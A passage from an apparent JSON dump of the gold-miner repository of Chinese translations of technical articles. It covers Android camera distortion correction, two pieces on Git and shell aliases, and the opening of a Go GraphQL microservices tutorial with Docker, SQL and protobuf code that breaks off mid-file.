[CameraCharacteristics.LENS_RADIAL_DISTORTION](https://developer.android.com/reference/android/hardware/camera2/CameraCharacteristics#LENS_RADIAL_DISTORTION)）查询镜头创建的失真。可以合理地预期，对于逻辑摄像头，失真将是最小的，我们的应用程序可以使用或多或少的框架，因为他们来自这个摄像头。然而，对于物理摄像头，我们应该期待潜在的非常不同的镜头配置——特别是在广角镜头上。\n\n一些设备可以通过 [CaptureRequest.DISTORTION_CORRECTION_MODE](https://developer.android.com/reference/android/hardware/camera2/CaptureRequest#DISTORTION_CORRECTION_MODE) 实现自动失真校正。很高兴知道大多数设备的失真校正默认为开启。文档中有一些更详细的信息：\n\n> FAST/HIGH_QUALITY 均表示将应用相机设备确定的失真校正。HIGH_QUALITY 模式表示相机设备将使用最高质量的校正算法，即使它会降低捕获率。快速意味着相机设备在应用校正时不会降低捕获率。如果任何校正都会降低捕获速率，则 FAST 可能与 OFF 相同 [...] 校正仅适用于 YUV、JPEG 或 DEPTH16 等已处理的输出 [...] 默认情况下，此控件将在支持此功能的设备上启用控制。\n\n如果我们想用最高质量的物理摄像头拍摄一张照片，那么我们应该尝试将校正模式设置为 HIGH_QUALITY（如果可用）。下面是我们应该如何设置拍摄请求：\n\n```\nval cameraSession: CameraCaptureSession = ...\n\n// 使用静态拍摄模板来构建拍摄请求\nval captureRequest = cameraSession.device.createCaptureRequest(\n        CameraDevice.TEMPLATE_STILL_CAPTURE)\n\n// 确定该设备是否支持失真校正\nval characteristics: CameraCharacteristics = ...\nval supportsDistortionCorrection = characteristics.get(\n        CameraCharacteristics.DISTORTION_CORRECTION_AVAILABLE_MODES)?.contains(\n        CameraMetadata.DISTORTION_CORRECTION_MODE_HIGH_QUALITY) ?: false\n\nif (supportsDistortionCorrection) {\n    captureRequest.set(\n            CaptureRequest.DISTORTION_CORRECTION_MODE,\n            CameraMetadata.DISTORTION_CORRECTION_MODE_HIGH_QUALITY)\n}\n\n// 添加输出目标，设置其他拍摄请求参数...\n\n// 发送拍摄请求\ncameraSession.capture(captureRequest.build(), ...)\n```\n\n请记住，在这种模式下设置拍摄请求将对相机可以产生的帧速率产生潜在的影响，这就是为什么我们只在静态图像拍摄中设置设置校正。\n\n### 未完待续\n\n唷！我们介绍了很多与新的多摄像头 API 相关的东西:\n\n*   潜在的用例\n*   逻辑摄像头 vs 物理摄像头\n*   多摄像头 API 概述\n*   用于打开多个摄像头视频流的扩展规则\n*   如何为一对物理摄像头设置摄像机流\n*   示例“缩放”用例交换相机\n*   校正镜头失真\n\n请注意，我们还没有涉及帧同步和计算深度图。这是一个值得在博客上发表的话题。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/git-aliases-i-cant-live-without.md",
    "content": "> * 原文地址：[Git aliases I can't live without](http://mjk.space/git-aliases-i-cant-live-without/)\n> * 原文作者：[MICHAŁ KONARSKI](http://mjk.space)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/git-aliases-i-cant-live-without.md](https://github.com/xitu/gold-miner/blob/master/TODO1/git-aliases-i-cant-live-without.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[TrWestdoor](https://github.com/TrWestdoor)，[CoolRice](https://github.com/CoolRice)\n\n# 我无法想象没有 Git 别名的场景\n\n大家看到我的 Git 工作流时，总是充满了惊讶与好奇：\n\n![我的 Git 工作流](http://mjk.space/images/blog/git-aliases/workflow.gif)\n\n> **我的 Git 工作流**\n\n我对别名的热爱，始于我初次下载 **zsh** 和它的 **[oh-my-zsh](https://github.com/robbyrussell/oh-my-zsh)** 套件。它包含大量针对不同命令行程序的预定义别名和帮助函数。我立刻便喜欢上了这种取代常规的那些很长的参数化调用的输入概念。因为我最常使用的工具是 Git，所以它是我开始别名变革的首选目标。几年之后的现在，我无法想象使用 Git 自带的那些原始 `git` 命令。\n\n当然，Git 本身就拥有完美的[别名自定义系统](https://git-scm.com/book/en/v2/Git-Basics-Git-Aliases)。对我来说，我只是不喜欢 `git` 和别名之间的空白。Shell 别名也很灵活并且还可以用于其他命令行，例如 `docker`。\n\n下面你会找到我使用最多的别名列表。其中一些直接源自于 **oh-my-zsh**，其他一些是我自己创造的。我喜欢你们至少可以找到一些有用的！如果你想亲自尝试所有的这些方法，可以从[我的仓库](https://github.com/mjkonarski/oh-my-git-aliases)下载。\n\n### 1. 我们从这个库开始吧！\n\n`alias gcl = git clone`\n\n这可能不是 Git 用户最常使用的命令，但我个人希望尽快让你们掌握这些**令人生畏的 GitHub 项目**，就像我所希望的那样。\n\n### 2. 从远程仓库获取分支最新动态\n\n`alias gf = git fetch`\n\n我通常使用 fetch 来获取远程仓库的最新更改，因为它不会以任何形式影响工作目录的 **HEAD**。之后我会使用其他命令来显式修改本地文件。\n\n### 3. 我们查看一下其他分支！\n\n`alias gco = git checkout`\n\n对于日常开发来说，这无疑是最有用的命令之一。我决定写这篇文章的原因之一就是发现大家每次在他们想要切换分支时，仍然需要使用 `git checkout`。\n\n### 4. 回退到之前的分支状态！\n\n`gco -`\n\n这个破折号是一个小把戏，意思是“以前的分支”。我知道严格意义上，它不算是别名，但它太过有用以至于不得不提。而且，我印象中没有多少人知道它。\n\n`checkout` 不是接受破折号的唯一选项 —— 你也可以在其他地方使用，比如 `merge`、`cherry-pick` 和 `rebase`。\n\n### 5. 快速切换至 master 分支\n\n`alias gcm = git checkout master`\n\n如果我们经常在一些有明确定义的分支之间进行切换，那么我们为什么不使其尽可能简单一些呢？根据你的工作流，你也可以找出其他相似的有用别名：`gcd` (**develop**)、`gcu` (**uat**)、`gcs` (**stable**)。\n\n### 6. 我在哪？发生了什么？\n\n`alias gst = git status`\n\n简单明了。\n\n### 7. 我不在意当前工作变化，只要从源分支给我最新的状态就行！\n\n`alias ggrh = git reset --hard origin/$(current_branch)`\n\n我的个人最爱。有多少次你制造了如此严重的混乱，以至于你只想让暂存区和工作目录恢复到原来的状态？现在只剩下四个按键了。\n\n请注意，这个特定的命令将当前分支重置为来源于 **origin** 分支的最新提交。这正是**我**通常最需要的，但可能不是**你**需要的东西。每当我不关心本地更改时，我都会使用它，我只希望我的当前分支能够反映对应的远程分支。你可能会说你可以使用 `git pull` 替带，但我只是不喜欢它会试图合并远程分支，而不只是将当前分支重置为远程分支。\n\n注意 `current_branch` 是一个自定义函数（由 **oh-my-zsh** 作者创建）。你可以在[这里](https://github.com/mjkonarski/oh-my-git-aliases/blob/master/oh-my-git-aliases.sh#L71)看到它。\n\n### 8. 当前的更改是什么？\n\n`alias gd = git diff`\n\n有一个典型示例。它只是显示了所有的改变，但并没有分阶段。如果要查看已经进行的更改，请使用此版本：\n\n`alias gdc = git diff --cached`\n\n### 9. 让我们提交那些更改的文件！\n\n`alias gca = git commit -a`\n\n这会提交所有的更改文件，因此你不需要手动添加它们。但是，如果有一些尚未提交的新文件，显然需要显式地说明它们：\n\n`alias ga = git add`\n\n### 10. 我想在先前的提交中添加一些更改！\n\n`alias gca! = git commit -a --amend`\n\n我经常使用它，因为我喜欢保持 Git 历史记录的整洁（没有 “pull request fixs” 或者 “forgot to add this file” 类型的提交信息）。它只需简单接受所有的更改并将他们添加到上一次提交中。\n\n### 11. 我之前的分支做的太快，那么怎么“撤销”一个文件？\n\n```\ngfr() {\n    git reset @~ \"$@\" && git commit --amend --no-edit\n}\n```\n\n这是一个函数，不是别名，乍看好像有些复杂。它获取要“取消提交”的文件名称，从 **HEAD** 提交中删除对该文件所做的所有更改，但将其保留在工作目录中。然后，它会准备分阶段提交，也许是作为一个独立提交。这就是它在实践中的工作方式：\n\n![grf 示例](http://mjk.space/images/blog/git-aliases/grf.gif)\n\n### 12. 好的，准备推送！\n\n`alias ggpush = git push origin $(current_branch)`\n\n我每次想推送的时候，都会使用这个。因为它是隐式传递远程分支参数，所以我可以确保只推送一个分支，而无须在意 `push.default` [设置](https://git-scm.com/docs/git-config#git-config-pushdefault)。从 Git 2.0 开始，它会成为默认行为，但是别名为我提供了额外的安全保证，以防我使用一些 Git 遗留的版本问题。\n\n对于正常的推送，这可能并不那么重要，但对于下一个命令来说，这非常关键。\n\n### 13. 我已经准备推送了，而且我知道我在做什么\n\n`alias ggpushf = git push --force-with-lease origin $(current_branch)`\n\n强制推送显然是一个有争议的习惯，许多人会说你永远不应该这样做。我同意，但只有涉及到分享像 **master** 这样的分支时才会有问题。\n\n正如我提及的，我喜欢保持我的 git 历史干净。这有时涉及更改已经被推送的提交。这时，`--force-with-lease` 就会特别有用，因为当你的本地仓库没有更新到远程分支的最新状态时，它会拒绝推送。因此，它不可能抛弃别人的修改，至少不会在无意中抛弃。\n\n在我的同事有一次错误地调用了 `git commit -f`（将 `push.default` 设置为 `matching`）之后，我开始使用这个别名，将远程分支部分名称设置为 `$(current_branch)`，并强制推送所有的本地分支到 **origin** 分支。包括一个旧版本的 **master**，当他意识到发生了什么之后，我仍然记得他眼中的恐慌。\n\n### 14. 哇，推送被拒绝了！有人动了我的分支！\n\n你试图将你的分支推送到远程仓库，但得到了一下信息：\n\n```\nTo gitlab.com:mjkonarski/my-repo.git\n ! [rejected]        my-branch -> my-branch (non-fast-forward)\nerror: failed to push some refs to 'git@gitlab.com:mjkonarski/my-repo.git'\nhint: Updates were rejected because the tip of your current branch is behind\nhint: its remote counterpart. Integrate the remote changes (e.g.\nhint: 'git pull ...') before pushing again. \n```\n\n当多个人同时在一个分支上工作时，就会发生这种情况。也许你的同事在你不知情的情况下，又推送了一个修改？或者你用了两台电脑，同步了之前的分支？一下是一个简单的解决方案：\n\n`alias glr = git pull --rebase`\n\n它会自动拉取最新的修改，然后将你的提交 rebase 到他们的顶部。如果你足够幸运（并且对不同的文件进行了远程修改），你甚至可以避免解决冲突。哇，又要重新推送！\n\n### 15. 我想用自己的分支来映射主分支的最新变化！\n\n假设你有一个分支是不久之前从 **master** 分支创建的。你已经推送了一些改变，但同时也更新了 **master** 本身。现在，你希望你的分支可以反映那些最新的提交内容。在这种情况下，相比 merge，我更喜欢 rebase —— 你的提交历史保持保持简短和清晰。就像打字一样简单：\n\n`alias grbiom = git rebase --interactive origin/master`\n\n我经常使用这个命令，因此这个别名是我最开始使用的第一批命令之一。`--interactive` 启用了你最爱的编辑器，并允许你快速检查即将基于 master 提交的提交列表。你也可以利用这个机会来 **squash**、**reword** 或者 **reorder** 提交。因此有许多简单别名可以选择！\n\n### 16. emmm，我尝试了 rebase，但出现了严重的冲突！救命啊！\n\n没有人喜欢这些信息：\n\n```\nCONFLICT (content): Merge conflict in my_file.md\n\nResolve all conflicts manually, mark them as resolved with\n\"git add/rm <conflicted_files>\", then run \"git rebase --continue\".\nYou can instead skip this commit: run \"git rebase --skip\".\nTo abort and get back to the state before \"git rebase\", run \"git rebase --abort\".\n```\n\n有时，你可能只想中止整个进程，之后再解决冲突。以上信息是如何处理的线索，但为什么需要这么多按键呢？\n\n`alias grba = git rebase --abort`\n\n我们又安全了。当你终于鼓起勇气再次进行合并解决这些冲突时，在 `git add` 之后，你只需继续进行 rebase 输入即可：\n\n`alias grbc = git rebase --continue`\n\n### 17. 请把这些变化暂时搁浅！\n\n假设你已经做了一些改变，但还没有提交它们。现在你想快速切换到另一个分支，并执行一些无关的工作：\n\n`alias gsta = git stash`\n\n这个提交将你的修改放在一边，并恢复至 **HEAD** 的干净状态。\n\n### 18. 现在，开始回退！\n\n当你完成了与你无关的工作时，你可能会快速回退你的修改：\n\n`alias gstp = git stash pop`\n\n### 19. 这个小提交，看起来很棒，让我们把它放到自己的分支上！\n\nGit 有一个叫做 **cherry-pick** 的优秀功能。你可以使用它来将任何现有提交添加到当前分支的顶部。它就像使用这个别名一样简单：\n\n`alias gcp = git cherry-pick`\n\n这当然会导致冲突，当然这也取决于你提交的内容。解决这个冲突与解决 rebase 冲突的方法完全一样。因此，我们也有类似的选择来中止以及继续选择分支：\n\n`alias gcpa = git cherry-pick --abort`\n\n`alias gcpc = git cherry-pick --continue`\n\n* * *\n\n以上列表肯定没有涵盖所有 git 用例。我想鼓励你把它看作是建立你自己的化名套件的良好开端。在日常工作流程中寻求可能的改进是一个好主意。\n\n你可以在[我的 Github 仓库](https://github.com/mjkonarski/oh-my-git-aliases)看到这些别名（甚至更多）。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/git-aliases.md",
    "content": "> * 原文地址：[Git Aliases I Use (Because I'm Lazy)](https://victorzhou.com/blog/git-aliases/)\n> * 原文作者：[Victor Zhou](https://victorzhou.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/git-aliases.md](https://github.com/xitu/gold-miner/blob/master/TODO1/git-aliases.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[imononoke](https://github.com/imononoke)，[weisiwu](https://github.com/weisiwu)，[portandbridge](https://github.com/portandbridge)\n\n# 我常用的 Git 别名（因为我实在太懒了）\n\n## 我真的很烦输入 git 命令，即使是很短的。\n\n写于 2019 年 9 月 16 日，更新于 2019 年 9 月 17 日\n\n几年前，当我第一次开始构建一些比较大的[个人项目](https://victorzhou.com/about/)时，我终于开始频繁的使用 [Git](https://git-scm.com)。现在，输入 `git status` 和 `git push` 这样的命令对我来说易如反掌，但是如果你有一些使用 Git 的经验，你一定知道有一些命令会非常冗长。\n\n比如说我常遇到这样的命令：\n\n```shell-session\n$ git commit --amend --no-edit\n```\n\n这条命令会把你暂存的修改并入你最近的一次 commit，并且不会修改这次 commit 的信息（这样 Git 也就不会打开一个文件编辑界面了）。它最经常的用途是修改**刚刚**提交的 commit。也许我太粗心了，总是在刚提交完一条 commit 还不到 30 秒，就发现一个拼写错误或者忘了删除了调式信息了 😠。\n\n输入 `git commit --amend --no-edit` 这 28 个字符很快就会让人感到乏味。我现在正着迷于[优化项目](https://victorzhou.com/tag/performance/)（甚至是[在还不应该进行优化的时候我就开始行动了](https://victorzhou.com/blog/avoid-premature-optimization/)🤷），所以某天我就开始花时间思考如何优化我的 git 命令…\n\n## [](#my-git-aliases)我配置的 git 别名\n\n当你用 google 搜索下如“**简化 git 命令**”这样的内容，你将会很快的找到关于 [Git 别名](https://git-scm.com/book/zh/v2/Git-%E5%9F%BA%E7%A1%80-Git-%E5%88%AB%E5%90%8D)的信息。事实是，简写命令的方法已经内建在 Git 中了！你只需要告知 Git 你想要配置的 git 别名的信息即可。例如，你可以通过将如下这行代码复制粘贴到你的控制台并执行，就可以将 `status` 简写为 `s`：\n\n```text\ngit config --global alias.s status\n```\n\n这行命令实际上是更新了你的 `.gitconfig` 文件，该文件用来保存全局 Git 配置：\n\n##### ~/.gitconfig\n\n```toml\n[alias]\n  s = status\n```\n\n现在，只要你输入别名 `s`，Git 就会自动用 `status` 来替换掉它！\n\n下面这些是我最常用的 Git 别名：\n\n##### ~/.gitconfig\n\n```toml\n[alias]\n  s = status\n  d = diff\n  co = checkout\n  br = branch\n  last = log -1 HEAD\n  cane = commit --amend --no-edit\n  lo = log --oneline -n 10\n  pr = pull --rebase\n```\n\n我的 .gitconfig 文件\n\n##### git 别名\n\n```text\ngit config --global alias.s status\ngit config --global alias.d diff\ngit config --global alias.co checkout\ngit config --global alias.br branch\ngit config --global alias.last \"log -1 HEAD\"\ngit config --global alias.cane \"commit --amend --no-edit\"\ngit config --global alias.pr \"pull --rebase\"\ngit config --global alias.lo \"log --oneline -n 10\"\n```\n\n如果你也想使用这些 git 别名，将这些命令拷贝并粘贴到控制台执行即可！\n\n最后，这儿还有一个我常用的 bash 命令简写：\n\n##### ~/.bash_profile\n\n```bash\n# ... 其他内容\n\nalias g=git\n```\n\n你可以使用任何编辑器，来将这些内容加入到你的 [.bash_profile](https://www.quora.com/What-is-bash_profile-and-what-is-its-use) 文件中。\n\n这是一个 [Bash 别名配置](https://www.tldp.org/LDP/abs/html/aliases.html)，它的功能就正如你所想的那样。如果你使用其他的 shell，你可以在它的类似的功能中完成（例如 [Zsh 别名配置](http://zsh.sourceforge.net/Intro/intro_8.html)）。\n\n一切就绪。现在你可以这样使用 Git 了：\n\n```shell-session\n$ g s\nOn branch master\nYour branch is up to date with 'origin/master'.\n\nnothing to commit, working tree clean\n```\n\n```shell-session\n$ g br\n* master\n```\n\n```shell-session\n$ g co -b new-branch\nSwitched to a new branch 'new-branch'\n```\n\n```shell-session\n$ g lo\nAuthor: Victor Zhou <vzhou842@gmail.com>\nDate:   Mon Aug 26 01:16:49 2019 -0700\n\n    Bump version to 1.1.1\n```\n\n## [](#is-this-actually-useful-though)实际上它们真的有用吗…\n\n也许有用？这其实是因人而异的。如果你和我一样，需要做一些有点强迫症的事情，比如总是习惯性的重复输入 “git status”，那么它确实可以节省你一些时间：\n\n> — [参见 Victor Zhou (@victorczhou) 发布于 2019 年 9 月 15 日的 twitter](https://twitter.com/victorczhou/status/1173059464036962305?ref_src=twsrc%5Etfw)\n\n我个人认为，这样做代价很小（每台新设备的配置大概只需要 30 秒），而你就能够得到一个速度更快并且更有效率的很好的日常体验。当然，**实际上**你能节约多少时间还是值得商榷的…\n\n## [](#some-quick-maths)粗略计算\n\n我们来粗略计算一下配置了 git 别名实际能节约多少时间。我大概可以一分钟输入 135 个单词，我们假设每个单词有 4 个字母，那么就是每秒可以输入\n\n$$\n\\frac{135 * 4}{60} = \\boxed{9}\n$$\n\n个字母。\n\n下面这个表格展示了我最常用的简写可以节省的字母数：\n\n\n| 原始命令 | 简写命令 | 可节省的字母数 |\n| --- | --- | --- |\n| `git status` | `g s` | 7 |\n| `git diff` | `g d` | 5 |\n| `git checkout` | `g co` | 8 |\n| `git branch` | `g br` | 6 |\n| `git log -1 HEAD` | `g last` | 9 |\n| `git commit --amend --no-edit` | `g cane` | 20 |\n\n接下来，我使用 [history](https://en.wikipedia.org/wiki/History_(command)) 命令查看了我最近的 500 条命令。这是数据分析：\n\n| 命令 | 使用数量 |\n| --- | --- |\n| `g s` | 155 |\n| `g d` | 47 |\n| `g co` | 19 |\n| `g br` | 26 |\n| `g last` | 11 |\n| `g cane` | 2 |\n| 其他 Git 命令 | 94 |\n| 非 Git 命令 | 146 |\n\n每个“其他 Git 命令”能节省 2 个字母（因为我将 `git` 简写为 `g`），所以总的节省字母是：\n\n| 命令 | 使用次数 | 可节省的字母数 | 总共节省的字母数 |\n| --- | --- | --- | --- |\n| `g s` | 155 | 7 | 1085 |\n| `g d` | 47 | 5 | 235 |\n| `g co` | 19 | 8 | 152 |\n| `g br` | 26 | 6 | 156 |\n| `g last` | 11 | 9 | 99 |\n| `g cane` | 2 | 20 | 40 |\n| 其他 Git 命令 | 94 | 2 | 188 |\n\n$$\n1085 + 235 + \\ldots + 40 + 188 = \\boxed{1955}\n$$\n\n所以一共节省了 1955 个字母，平均每个 Git 命令节省了 $\\frac{1955}{354} = \\boxed{5.5}$ 个字母。假设我工作日的八小时内输入大约 100 条 Git 命令，也就是可以节约 **550** 个字母，换算也就是**每天可以节约一分钟**（使用我前文提到的每秒输入 9 个字母的数据）。\n\n## [](#ok-so-this-isnt-that-practically-useful-)好吧，所以实际上并没有节省多少时间。 😢\n\n但是我要重申：配置别名能让你**觉得**提高了效率，这可能会给你一些心里暗示的作用，让你真的变得更加高效了。\n\n你怎么看？你会去使用 Git 别名吗？为什么去用或者为什么不用？你还有什么其他喜欢用的别名？欢迎在评论区写下讨论！\n\n**更新**：在 [lobste.rs 的博客](https://lobste.rs/s/klwbnj/git_aliases_i_use_because_i_m_lazy) 和[原文下面的评论区](https://victorzhou.com/blog/git-aliases/#commento)中有一些不错的讨论。推荐你阅读。\n\n## [](#epilogue)结语\n\n当我写这篇博客的时候，我意识到还有三个常用的 Git 命令，但却被我忽略了：\n\n```shell-session\n$ git add .\n$ git commit -m 'message'\n$ git reset --hard\n```\n\n我将会把它们也加入到我的 Git 别名配置中！\n\n##### git aliases\n\n```text\ngit config --global alias.a \"add .\"\ngit config --global alias.cm \"commit -m\"\ngit config --global alias.rh \"reset --hard\"\n```\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/go-graphql-gateway-microservices.md",
    "content": "> * 原文地址：[Using GraphQL with Microservices in Go](https://outcrawl.com/go-graphql-gateway-microservices/)\n> * 原文作者：[Tin Rabzelj](https://outcrawl.com/authors/tin-rabzelj)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/go-graphql-gateway-microservices.md](https://github.com/xitu/gold-miner/blob/master/TODO1/go-graphql-gateway-microservices.md)\n> * 译者：[Changkun Ou](https://github.com/changkun)\n> * 校对者：[razertory](https://github.com/razertory)\n\n# 使用 Go 编写微服务及其 GraphQL 网关\n\n![](https://outcrawl.com/static/cover-4772a81f84b65ba37535f8c41959eeaa-08884.jpg)\n\n几个月前，一个优秀的 GraphQL Go 包 [vektah/gqlgen](https://github.com/vektah/gqlgen) 开始流行。本文描述了在 Spidey 项目（一个在线商店的基本微服务）中如何实现 GraphQL。\n\n下面列出的一些代码可能存在一些缺失，完整的代码请访问 [GitHub](https://github.com/tinrab/spidey)。\n\n## 架构\n\nSpidey 包含了三个不同的服务并暴露给了 GraphQL 网关。集群内部的通信则通过 [gRPC](https://grpc.io) 来完成。\n\n账户服务管理了所有的账号；目录服务管理了所有的产品；订单服务则处理了所有的订单创建行为。它会与其他两个服务进行通信来告知订单是否正常完成。\n\n![Architecture](https://outcrawl.com/static/architecture-7b089f424d0abd2c29eb2d51ed362550-0381e.jpg)\n\n独立的服务包含三层：**Server 层**、**Service 层**以及**Repository 层**。服务端作负责通信，也就是 Spidey 中使用 gRPC。服务则包含了业务逻辑。仓库则负责对数据库进行读写操作。\n\n## 起步\n\n运行 Spidey 需要 [Docker](https://docs.docker.com/install/)、 [Docker Compose](https://docs.docker.com/compose/install/)、 [Go](https://golang.org/doc/install)、 [Protocol Buffers](https://github.com/google/protobuf) 编译器及其 Go 插件以及非常有用的 [vektah/gqlgen](https://github.com/vektah/gqlgen) 包。\n\n你还需要安装 [vgo](https://www.godoc.org/golang.org/x/vgo)（一个处于早期开发阶段的包管理工具）。工具 [dep](https://github.com/golang/dep) 也是一种选择，但是包含的 `go.mod` 文件会被忽略。\n\n> 译注：在 Go 1.11 中 vgo 作为官方集成的 Go Modules 发布，已集成在 go 命令中，使用 go mod 进行使用，指令与 vgo 基本一致。\n\n## Docker 设置\n\n每个服务在其自身的子文件夹中实现，并至少包含一个 `app.dockerfile` 文件。`app.dockerfile` 文件用户构建数据库镜像。\n\n```\naccount\n├── account.proto\n├── app.dockerfile\n├── cmd\n│   └── account\n│       └── main.go\n├── db.dockerfile\n└── up.sql\n```\n\n所有服务通过外部的 [docker-compose.yaml](https://github.com/tinrab/spidey/blob/master/docker-compose.yaml) 定义。\n\n下面是截取的一部分关于 Account 服务的内容：\n\n```yaml\nversion: \"3.6\"\n\nservices:\n  account:\n    build:\n      context: \".\"\n      dockerfile: \"./account/app.dockerfile\"\n    depends_on:\n      - \"account_db\"\n    environment:\n      DATABASE_URL: \"postgres://spidey:123456@account_db/spidey?sslmode=disable\"\n  account_db:\n    build:\n      context: \"./account\"\n      dockerfile: \"./db.dockerfile\"\n    environment:\n      POSTGRES_DB: \"spidey\"\n      POSTGRES_USER: \"spidey\"\n      POSTGRES_PASSWORD: \"123456\"\n    restart: \"unless-stopped\"\n```\n\n设置 `context` 的目的是保证 `vendor` 目录能够被复制到 Docker 容器中。所有服务共享相同的依赖、某些服务还依赖其他服务的定义。\n\n## 账户服务\n\n账户服务暴露了创建以及索引账户的方法。\n\n### 服务\n\n账户服务的 API 定义的接口如下：\n\n[account/service.go](https://github.com/tinrab/spidey/blob/master/account/service.go)\n\n```go\ntype Service interface {\n  PostAccount(ctx context.Context, name string) (*Account, error)\n  GetAccount(ctx context.Context, id string) (*Account, error)\n  GetAccounts(ctx context.Context, skip uint64, take uint64) ([]Account, error)\n}\n\ntype Account struct {\n  ID   string `json:\"id\"`\n  Name string `json:\"name\"`\n}\n```\n\n实现需要用到 Repository：\n\n```go\ntype accountService struct {\n  repository Repository\n}\n\nfunc NewService(r Repository) Service {\n  return &accountService{r}\n}\n```\n\n这个服务负责了所有的业务逻辑。`PostAccount` 函数的实现如下：\n\n```go\nfunc (s *accountService) PostAccount(ctx context.Context, name string) (*Account, error) {\n  a := &Account{\n    Name: name,\n    ID:   ksuid.New().String(),\n  }\n  if err := s.repository.PutAccount(ctx, *a); err != nil {\n    return nil, err\n  }\n  return a, nil\n}\n```\n\n它将线路协议解析处理为服务端，并将数据库处理为 Repository。\n\n### 数据库\n\n一个账户的数据模型非常简单：\n\n```sql\nCREATE TABLE IF NOT EXISTS accounts (\n  id CHAR(27) PRIMARY KEY,\n  name VARCHAR(24) NOT NULL\n);\n```\n\n上面定义数据的 SQL 文件会复制到 Docker 容器中执行。\n\n[account/db.dockerfile](https://github.com/tinrab/spidey/blob/master/account/db.dockerfile)\n\n```\nFROM postgres:10.3\n\nCOPY up.sql /docker-entrypoint-initdb.d/1.sql\n\nCMD [\"postgres\"]\n```\n\nPostgreSQL 数据库通过下面的 Repository 接口进行访问：\n\n[account/repository.go](https://github.com/tinrab/spidey/blob/master/account/repository.go)\n\n```\ntype Repository interface {\n  Close()\n  PutAccount(ctx context.Context, a Account) error\n  GetAccountByID(ctx context.Context, id string) (*Account, error)\n  ListAccounts(ctx context.Context, skip uint64, take uint64) ([]Account, error)\n}\n```\n\nRepository 基于 Go 标准库 SQL 包进行封装：\n\n```\ntype postgresRepository struct {\n  db *sql.DB\n}\n\nfunc NewPostgresRepository(url string) (Repository, error) {\n  db, err := sql.Open(\"postgres\", url)\n  if err != nil {\n    return nil, err\n  }\n  err = db.Ping()\n  if err != nil {\n    return nil, err\n  }\n  return &postgresRepository{db}, nil\n}\n```\n\n### gRPC\n\n账户服务的 gRPC 服务定义了下面的 Protocol Buffer：\n\n[account/account.proto](https://github.com/tinrab/spidey/blob/master/account/account.proto)\n\n```protobuf\nsyntax = \"proto3\";\npackage pb;\n\nmessage Account {\n  string id = 1;\n  string name = 2;\n}\n\nmessage PostAccountRequest {\n  string name = 1;\n}\n\nmessage PostAccountResponse {\n  Account account = 1;\n}\n\nmessage GetAccountRequest {\n  string id = 1;\n}\n\nmessage GetAccountResponse {\n  Account account = 1;\n}\n\nmessage GetAccountsRequest {\n  uint64 skip = 1;\n  uint64 take = 2;\n}\n\nmessage GetAccountsResponse {\n  repeated Account accounts = 1;\n}\n\nservice AccountService {\n  rpc PostAccount (PostAccountRequest) returns (PostAccountResponse) {}\n  rpc GetAccount (GetAccountRequest) returns (GetAccountResponse) {}\n  rpc GetAccounts (GetAccountsRequest) returns (GetAccountsResponse) 